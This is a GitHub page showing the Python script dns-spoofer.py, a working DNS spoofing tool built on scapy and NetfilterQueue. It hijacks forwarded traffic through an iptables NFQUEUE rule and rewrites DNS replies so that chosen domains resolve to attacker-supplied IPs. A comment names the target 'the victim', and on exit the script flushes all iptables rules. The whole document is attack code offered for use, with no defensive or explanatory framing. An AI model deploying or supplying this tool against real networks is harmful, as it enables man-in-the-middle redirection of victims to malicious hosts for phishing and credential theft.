-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathdns-spoofer.py
119 lines (90 loc) · 3.08 KB
/
dns-spoofer.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
#!/usr/bin/python
import argparse
from scapy.all import *
from netfilterqueue import NetfilterQueue
import os
import json
dns_hosts = {} # Global variable to store DNS hosts
def get_args():
"""
Get command-line arguments.
:return: Object containing user-specified arguments.
"""
parser = argparse.ArgumentParser()
parser.add_argument('-dh', '--dns-hosts', dest='hosts',
help='Json which specifies the host to be spoofed and the corresponding IP.',
required=True)
options = parser.parse_args()
return options
def encode_dictionary_keys(dictionary):
"""
Encode dictionary keys to bytes.
Args:
dictionary (dict): The dictionary to encode.
Returns:
dict: Dictionary with encoded keys.
"""
encoded_dict = {}
for key in dictionary.keys():
encoded_key = key.encode()
encoded_dict[encoded_key] = dictionary[key]
return encoded_dict
def process_packet(packet):
"""
Process packets from the netfilter queue.
Args:
packet (scapy.packet.Packet): The packet from the netfilter queue.
"""
# Convert netfilter queue packet to a Scapy packet
scapy_packet = IP(packet.get_payload())
if scapy_packet.haslayer(DNSRR):
# If the packet is a DNS Resource Record (DNS Reply), modify the packet
print("[Before]:", scapy_packet.summary())
try:
scapy_packet = modify_packet(scapy_packet)
except IndexError:
# If it's not UDP
pass
print("[After]:", scapy_packet.summary())
# Convert back to netfilter packet
packet.set_payload(bytes(scapy_packet))
packet.accept()
def modify_packet(packet):
"""
Modify the DNS reply packet.
Args:
packet (scapy.packet.Packet): The DNS reply packet to modify.
Returns:
scapy.packet.Packet: The modified DNS reply packet.
"""
qname = packet[DNSQR].qname # DNS question name, domain name
if qname not in dns_hosts:
print("No modifications:", qname)
return packet
# Modify the answer (an)
packet[DNS].an = DNSRR(rrname=qname, rdata=dns_hosts[qname])
packet[DNS].ancount = 1 # Single DNSRR for the victim
# Delete checksum and length fields of the packet
del packet[IP].len
del packet[IP].chksum
del packet[UDP].len
del packet[UDP].chksum
return packet
if __name__ == "__main__":
args = get_args()
# Load DNS hosts from a JSON file
with open(args.hosts) as f:
dns_hosts = json.load(f)
dns_hosts = encode_dictionary_keys(dns_hosts)
QUEUE_NUM = 0
os.system("iptables -I FORWARD -j NFQUEUE --queue-num {}".format(QUEUE_NUM))
# Add packets to the queue
queue = NetfilterQueue()
try:
# Bind the queue to the number and the function to invoke
queue.bind(QUEUE_NUM, process_packet)
queue.run()
except KeyboardInterrupt:
print("\nCtrl + C pressed.............Exiting")
print("[+] DNS Spoof Stopped")
os.system("iptables --flush") # Restore the iptables rule